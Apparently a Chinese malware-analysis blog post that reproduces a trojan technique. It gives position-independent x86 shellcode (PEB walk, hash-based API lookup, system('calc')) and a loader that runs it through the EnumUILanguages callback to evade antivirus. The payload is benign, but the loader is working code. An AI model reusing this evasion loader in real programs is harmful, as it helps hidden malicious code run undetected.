利用具有回调函数的api运行shellcode
样本:2016-04-20
特点:隐蔽执行、动态加载
#include "apiprocrun.h"
#include <Windows.h>
/*
void shellcode()
{
__asm
{
;popup calc
;int 3 ;调试时快速根据异常地址定位代码
;nop空指令 用于调试时快速区分识别代码开始
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
;sub esp, 0x100 ;抬高栈顶保护代码
lea esp, [esp-128]
;find kernel32基址
xor ecx, ecx
mov esi, dword ptr fs:[ecx+0x30]
mov esi, [esi+0x0c]
mov esi, [esi+0x1c]
next_module:
mov eax, [esi+0x8]
mov edi, [esi+0x20]
mov esi, [esi]
cmp word ptr [edi+0x18], cx
jnz next_module
mov ebp, eax ;kernel32.dll VA-->ebp
mov eax, [ebp+0x3c] ;pe header RVA
mov ecx, [ebp+eax+0x78] ;export RVA-->ecx
add ecx, ebp
mov ebx, [ecx+0x20] ;names table RVA-->ebx
add ebx, ebp
;分配存储空间
xor eax, eax
push eax ;结果参量存储3
push eax ;结果参量存储2
push eax ;结果参量存储1
push eax ;已找到个数i
mov ax, 0x5c27 ;GetProcAddress() hash
push eax ;待找hash参量存储
;开始寻找api地址
xor edi, edi
findapiaddr:
inc edi
mov esi, [ebx+edi*4]
add esi, ebp
xor edx, edx
cdq
hash:
lodsw
sub dx, ax ;update hash
test ah, al ;string end
jne hash
add dx, ax
cmp edx, [esp] ;compare hash
jnz findapiaddr
;hash值已匹配,寻找相应序数和api地址
mov edx, [ecx+0x24] ;ordinals table RVA-->edx
add edx, ebp
mov di, [edx+2*edi] ;real ordinals
mov edx, [ecx+0x1c] ;addrs table RVA-->edx
add edx, ebp
mov eax, [edx+edi*4]
add eax, ebp ;api addr
;保存结果并判别是继续寻找下一个api地址还是结束寻找
mov edx, [esp+4]
mov [esp+edx*4+8], eax ;保存结果
inc [esp+4] ;已找计数
cmp [esp+4], 2
jz exi ;第二个寻找初始化
cmp [esp+4], 3
jz then ;设定3个寻找完毕转继续
xor eax, eax
mov ax, 0x9ccb ;LoadLibraryA() hash
mov [esp], eax
xor edi, edi
jmp findapiaddr
exi:
xor eax, eax
mov ax, 0x0ca2e ;ExitProcess() hash
mov [esp], eax
xor edi, edi
jmp findapiaddr
then:
add esp, 8
;[esp]GetProcAddress[esp+4]LoadLibraryA[esp+8]ExitProcess三个参量分别存储的api地址
;MSVCRT.DLL
xor eax, eax
push eax
mov byte ptr[esp], 0x4c
mov byte ptr[esp+1], 0x4c
mov byte ptr[esp+2], al
push 0x442e5452
push 0x4356534d
push esp
call [esp+20] ;LoadLibraryA
add esp, 12 ;调用LoadLibraryA返回前后esp+4(弹出一个参数的空间)
mov [esp+12], eax ;msvcrt.dll保存到结果参量存储4
;system
xor eax, eax
push eax
mov byte ptr[esp], 0x65
mov byte ptr[esp+1], 0x6d
mov byte ptr[esp+2], al
push 0x74737973
push esp
push [esp+24]
call [esp+16] ;GetProcAddress
add esp, 8 ;调用GetProcAddress返回前后esp+8(弹出两个参数的空间)
mov [esp+16], eax ;system保存到结果参量存储5
;calc
xor eax, eax
push eax
push 0x636c6163
push esp
call [esp+28]
add esp, 12 ;调用system返回前后esp不变(msvcrt.dll非kernel32.dll)
xor eax, eax
push eax
call [esp+12]
;nop空指令,用于调试时快速区分识别代码结束
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}*/
void apiprocrun()
{
/*char* addrShellcode = (char*)shellcode;*/
char dataShellcode[1024] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8d\x64\x24\x80\x33\xc9"
"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20"
"\x8b\x36\x66\x39\x4f\x18\x75\xf2\x8b\xe8\x8b\x45\x3c\x8b\x4c\x05"
"\x78\x03\xcd\x8b\x59\x20\x03\xdd\x33\xc0\x50\x50\x50\x50\x66\xb8"
"\x27\x5c\x50\x33\xff\x47\x8b\x34\xbb\x03\xf5\x33\xd2\x99\x66\xad"
"\x66\x2b\xd0\x84\xe0\x75\xf7\x66\x03\xd0\x3b\x14\x24\x75\xe6\x8b"
"\x51\x24\x03\xd5\x66\x8b\x3c\x7a\x8b\x51\x1c\x03\xd5\x8b\x04\xba"
"\x03\xc5\x8b\x54\x24\x04\x89\x44\x94\x08\xfe\x44\x24\x04\x80\x7c"
"\x24\x04\x02\x74\x14\x80\x7c\x24\x04\x03\x74\x1a\x33\xc0\x66\xb8"
"\xcb\x9c\x89\x04\x24\x33\xff\xeb\xac\x33\xc0\x66\xb8\x2e\xca\x89"
"\x04\x24\x33\xff\xeb\x9f\x83\xc4\x08\x33\xc0\x50\xc6\x04\x24\x4c"
"\xc6\x44\x24\x01\x4c\x88\x44\x24\x02\x68\x52\x54\x2e\x44\x68\x4d"
"\x53\x56\x43\x54\xff\x54\x24\x14\x83\xc4\x0c\x89\x44\x24\x0c\x33"
"\xc0\x50\xc6\x04\x24\x65\xc6\x44\x24\x01\x6d\x88\x44\x24\x02\x68"
"\x73\x79\x73\x74\x54\xff\x74\x24\x18\xff\x54\x24\x10\x83\xc4\x08"
"\x89\x44\x24\x10\x33\xc0\x50\x68\x63\x61\x6c\x63\x54\xff\x54\x24"
"\x1c\x83\xc4\x0c\x33\xc0\x50\xff\x54\x24\x0c\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90"; //popup calc
char *addrShellcode = dataShellcode;
DWORD dwOldPro = 0;
BOOL ifExec = VirtualProtect(addrShellcode, 1024, PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
}
小结:这个样本是一个比较老的vb木马程序(我通过VC复现),通过调用外部dll(kernel32)的api函数EnumUILanguages来实现加载shellcode,此api函数的原功能是什么不重要,重要的是它具有一个参数可以指定回调函数,作者利用这点把shellcode的地址作为回调函数,当调用api函数后,shellcode也被随之加载。这种手法在一些vc木马也有一些应用,比如通过调用一些具有回调函数的窗体类api也能达到类似的效果。所以,实现方法有很多,关键是调用具有回调函数的api。之所以这么麻烦以获取一段代码的执行,我想目的还是为了躲避杀软检测。
目前没有反馈
表单载入中...